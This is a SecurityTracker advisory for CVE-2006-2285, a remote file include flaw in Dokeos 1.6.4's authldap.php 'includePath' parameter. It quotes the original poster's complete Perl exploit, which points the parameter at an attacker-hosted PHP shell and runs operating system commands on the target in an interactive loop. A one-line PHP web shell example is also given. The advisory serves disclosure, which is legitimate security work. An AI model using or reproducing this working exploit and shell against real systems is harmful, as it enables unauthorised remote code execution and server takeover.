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Category:   Application (Generic)  >   Dokeos Vendors:   dokeos.com
Dokeos Include File Bug in 'authldap.php' Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016089
SecurityTracker URL:  http://securitytracker.com/id/1016089
CVE Reference:   CVE-2006-2285   (Links to External Site)
Updated:  Dec 5 2009
Original Entry Date:  May 15 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.6.4
Description:   beford reported a vulnerability in Dokeos. A remote user can include and execute arbitrary code on the target system.

The 'dokeos/claroline/auth/ldap/authldap.php' script does not properly validate user-supplied input in the 'includePath' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

The flaw has been fixed in the current 'claroline.net' version but not in dokeos.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.dokeos.com/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:   Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Sun, 07 May 2006 23:52:41 -0500
Subject:  Dokeos Learning Management System 1.6.4 Remote File Include

#!/usr/bin/perl

############

# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie:  beford <xbefordx gmail com>

#
# uso:# 	perl own.pl <host> <cmd-shell-url> <cmd-var>

# 		perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#

# cmd shell example: <? system($cmd); ?>

# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable
# includePath in a include() function without being declared.
# This issue has already been fixed in current claroline.net version,
# but dokeos still uses a  vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;


$Path = $ARGV[0];

$Pathtocmd = $ARGV[1];

$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }

head();

while() {

	print "[shell] \$";

	while(<STDIN>)      {

		$cmd=$_;

		chomp($cmd);
		if (!$cmd) {last;}

		$xpl = LWP::UserAgent->new() or die;

		$req = HTTP::Request->new(GET
=>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";

		$res = $xpl->request($req);

		$return = $res->content;

		$return =~ tr/[\n]/[]/;

		if ($return =~/Error: HTTP request failed!/ ) {
			print "\nInvalid path for phpshell\n";
			exit;
		} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
			print "\nInvalid Command, error.\n\n";
		}
		if ($return =~ /(.*)/) {

			$finreturn = $1;

			$finreturn=~ tr/[]/[\n]/;

			print "\r\n$finreturn\n\r";

			last;

		} else {
			print "[shell] \$";
		}
	}
} last;


sub head()  {

	print "\n============================================================================\r\n";

	print "  Dokeos Learning Management System Remote File Include\r\n";

	print "============================================================================\r\n";

 }


sub usage() {

	head();

	print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";

	print " <host> - Full Path : http://host/dokeos/ \r\n";

	print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";

	print " <var> - var name used in phpshell : cmd  \r\n\r\n";

	exit();

 }

 
 


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